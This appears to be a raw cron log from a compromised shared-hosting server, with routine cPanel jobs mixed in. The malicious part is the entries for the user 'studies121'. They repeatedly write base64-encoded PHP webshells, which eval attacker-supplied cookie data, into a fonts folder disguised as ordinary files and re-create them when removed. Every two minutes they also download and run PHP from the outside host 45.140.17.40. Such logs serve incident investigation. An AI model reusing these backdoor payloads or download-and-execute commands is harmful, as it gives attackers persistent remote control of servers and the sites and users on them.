Feb 22 12:28:01 ip-184-168-122-23 CROND[10155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:28:01 ip-184-168-122-23 CROND[10157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:28:01 ip-184-168-122-23 CROND[10156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:29:01 ip-184-168-122-23 CROND[10478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:29:01 ip-184-168-122-23 CROND[10479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:29:01 ip-184-168-122-23 CROND[10480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:29:01 ip-184-168-122-23 CROND[10484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:30:01 ip-184-168-122-23 CROND[10818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 12:30:01 ip-184-168-122-23 CROND[10821]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:30:01 ip-184-168-122-23 CROND[10820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:30:01 ip-184-168-122-23 CROND[10827]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Feb 22 12:30:01 ip-184-168-122-23 CROND[10830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:30:01 ip-184-168-122-23 CROND[10833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:30:01 ip-184-168-122-23 CROND[10832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:30:01 ip-184-168-122-23 CROND[10835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:30:01 ip-184-168-122-23 CROND[10834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:31:01 ip-184-168-122-23 CROND[11240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:31:01 ip-184-168-122-23 CROND[11241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:31:01 ip-184-168-122-23 CROND[11246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:31:01 ip-184-168-122-23 CROND[11245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 12:31:01 ip-184-168-122-23 CROND[11244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:32:01 ip-184-168-122-23 CROND[11550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:32:01 ip-184-168-122-23 CROND[11553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:32:01 ip-184-168-122-23 CROND[11556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:32:01 ip-184-168-122-23 CROND[11554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:32:01 ip-184-168-122-23 CROND[11555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:33:01 ip-184-168-122-23 CROND[11860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:33:01 ip-184-168-122-23 CROND[11862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:33:01 ip-184-168-122-23 CROND[11863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:33:01 ip-184-168-122-23 CROND[11866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:34:01 ip-184-168-122-23 CROND[12210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:34:01 ip-184-168-122-23 CROND[12209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:34:01 ip-184-168-122-23 CROND[12213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:34:01 ip-184-168-122-23 CROND[12211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:34:01 ip-184-168-122-23 CROND[12212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:35:01 ip-184-168-122-23 CROND[12532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:35:01 ip-184-168-122-23 CROND[12533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:35:01 ip-184-168-122-23 CROND[12539]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 12:35:01 ip-184-168-122-23 CROND[12537]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 12:35:01 ip-184-168-122-23 CROND[12536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:35:01 ip-184-168-122-23 CROND[12540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:35:01 ip-184-168-122-23 CROND[12538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:35:01 ip-184-168-122-23 CROND[12541]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:36:01 ip-184-168-122-23 CROND[12956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:36:01 ip-184-168-122-23 CROND[12959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:36:01 ip-184-168-122-23 CROND[12960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:36:01 ip-184-168-122-23 CROND[12961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:36:01 ip-184-168-122-23 CROND[12958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:37:01 ip-184-168-122-23 CROND[13271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:37:01 ip-184-168-122-23 CROND[13273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:37:01 ip-184-168-122-23 CROND[13275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:37:01 ip-184-168-122-23 CROND[13274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:38:01 ip-184-168-122-23 CROND[13585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:38:01 ip-184-168-122-23 CROND[13587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:38:01 ip-184-168-122-23 CROND[13588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:38:01 ip-184-168-122-23 CROND[13589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:38:01 ip-184-168-122-23 CROND[13590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:39:01 ip-184-168-122-23 CROND[13915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:39:01 ip-184-168-122-23 CROND[13917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:39:01 ip-184-168-122-23 CROND[13918]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 12:39:01 ip-184-168-122-23 CROND[13920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:39:01 ip-184-168-122-23 CROND[13919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:40:01 ip-184-168-122-23 CROND[14245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 12:40:01 ip-184-168-122-23 CROND[14248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:40:01 ip-184-168-122-23 CROND[14249]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
